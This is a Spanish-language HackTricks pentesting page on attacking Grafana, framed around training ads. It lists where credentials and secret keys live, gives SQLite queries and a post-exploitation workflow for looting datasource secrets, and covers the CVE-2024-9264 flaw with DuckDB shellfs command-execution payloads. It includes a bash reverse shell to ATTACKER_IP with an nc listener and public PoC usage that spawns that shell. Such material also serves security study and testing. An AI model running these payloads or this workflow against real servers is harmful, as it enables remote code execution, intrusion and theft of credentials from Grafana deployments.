Grafana
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Cosas interesantes
- La configuración principal suele estar en
/etc/grafana/grafana.ini(Deb/RPM) y puede contener valores sensibles comoadmin_user,admin_password,secret_key, ajustes OAuth, credenciales SMTP y tokens del renderer. - Por defecto Grafana almacena datos en SQLite3 bajo
/var/lib/grafana/grafana.db. - Los archivos de provisioning son muy interesantes después de obtener acceso al host:
/etc/grafana/provisioning/datasources/*.yaml/etc/grafana/provisioning/plugins/*.yaml- Se admite la expansión de variables de entorno en los archivos de provisioning, por lo que leaked YAML a menudo revela tanto secretos como los nombres de las env vars que los respaldan.
- Los plugins instalados suelen encontrarse bajo
/var/lib/grafana/plugins. - Dentro de la plataforma podrías invitar personas, generar API keys / service account tokens, listar plugins o instalar nuevos plugins según el rol.
- El navegador también es botín: Grafana expone la config de datasource no secreta al frontend. Si tienes una sesión Viewer (o está habilitado anonymous access), inspecciona
window.grafanaBootDatadesde DevTools.
Useful SQLite checks:
.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;
Looting datasources and secrets
Grafana separa la configuración legible por el navegador de los secretos encriptados:
jsonDataes visible para los usuarios en el navegador y a menudo es suficiente para enumerar hosts internos, tenants, modos de autenticación, nombres de encabezado, regiones de AWS, índices de Elasticsearch, tenants de Loki, URLs de Prometheus y datos de reconocimiento similares.secureJsonDataestá encriptado del lado del servidor y ya no es legible desde el navegador después de que se guarda el datasource.
Post-exploitation workflow:
- Dump
grafana.iniy recuperarsecret_key. - Loot
grafana.dby archivos de provisioning. - Enumerate datasources y la configuración de plugins para encontrar credenciales reutilizables y endpoints internos.
- Si migras o vuelves a reproducir la base de datos en otra instancia de Grafana, conserva el mismo
secret_keyo las contraseñas/tokens almacenados del datasource no se desencriptarán correctamente.
Why secret_key matters in newer versions:
- Desde Grafana v9, los secretos en la base de datos usan envelope encryption.
- Grafana encripta los secretos con data encryption keys (DEKs), y esos DEKs se encriptan con una key encryption key (KEK) derivada de
secret_key. - Desde la perspectiva de un atacante,
grafana.db+secret_keyes el par que vale la pena robar.
Plugin attack surface
Trata los plugins como parte del objetivo, no como una nota al pie:
- Enuméralos desde el filesystem, desde la UI o desde la API:
curl -s http://grafana.target/api/plugins | jq '.[].id'
- Plugins antiguos o de terceros amplían regularmente el alcance de Grafana hacia redes internas porque hacen proxy de solicitudes HTTP o interactúan con archivos locales/bases de datos.
- Ejemplos recientes incluyen SSRF en el plugin Infinity (
< 3.4.1) y rutas de abuso donde el plugin Image Renderer convierte otro bug en full-read SSRF.
CVE-2024-9264 – SQL Expressions (DuckDB shellfs) RCE / LFI posterior a la autenticación
La característica experimental SQL Expressions de Grafana puede evaluar consultas DuckDB que incorporan texto controlado por el usuario. Una sanitización insuficiente permite a un atacante encadenar sentencias DuckDB y cargar la extensión comunitaria shellfs, que expone comandos del shell a través de archivos virtuales respaldados por pipes.
Impacto
- Cualquier usuario autenticado con rol VIEWER o superior puede obtener ejecución de código como el usuario del OS de Grafana (a menudo grafana; a veces root dentro de un contenedor) o realizar lecturas de archivos locales.
- Precondiciones comúnmente presentes en despliegues reales:
- SQL Expressions habilitado:
expressions.enabled = true - El binario
duckdbpresente en PATH en el servidor
Comprobaciones rápidas
- En la UI/API, revisa Admin settings (Swagger:
/swagger-ui, endpoint/api/admin/settings) para confirmar: expressions.enabledestá en true- Opcional: versión, tipos de datasource y ajustes generales de hardening
- Shell en el host:
which duckdbdebe resolverse para la ruta de exploit abajo.
Patrón de consultas manual usando DuckDB + shellfs
- Flujo de abuso (2 consultas):
- Instalar y cargar la extensión shellfs, ejecutar un comando, redirigir la salida combinada a un archivo temporal mediante pipe
- Leer de vuelta el archivo temporal usando
read_blob
Ejemplos de payloads de SQL Expressions que se pasan a DuckDB:
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
Reemplaza CMD por el comando que desees. Para file-read (LFI) puedes, en su lugar, usar las funciones de archivos de DuckDB para leer archivos locales.
Ejemplo de reverse shell de una sola línea
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
Incrústalo como CMD en la primera consulta mientras tengas un listener: nc -lnvp 443.
PoC automatizado
- PoC público (construido sobre el ten framework de cfreal):
- https://github.com/nollium/CVE-2024-9264
Ejemplo de uso
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target
If output shows uid=0(root), Grafana is running as root (common inside some containers).
2025 client-side traversal / open redirect chain
La cadena 2025 de client-side traversal y open-redirect de Grafana ya está documentada en páginas más genéricas sobre client-side. Usa esas técnicas contra rutas específicas de Grafana, como assets de plugins, cargadores de scripts de dashboards y redirecciones de rotación de tokens:
Referencias
- Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)
- Grafana docs – Add authentication for data source plugins (
jsonData,secureJsonData,window.grafanaBootData) - Grafana docs – Configure database encryption
- Grafana docs – Provision Grafana
- Cycode – One Plugin Away: Breaking Into Grafana from the Inside
- DuckDB shellfs community extension
- nollium/CVE-2024-9264 PoC
- cfreal/ten framework
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


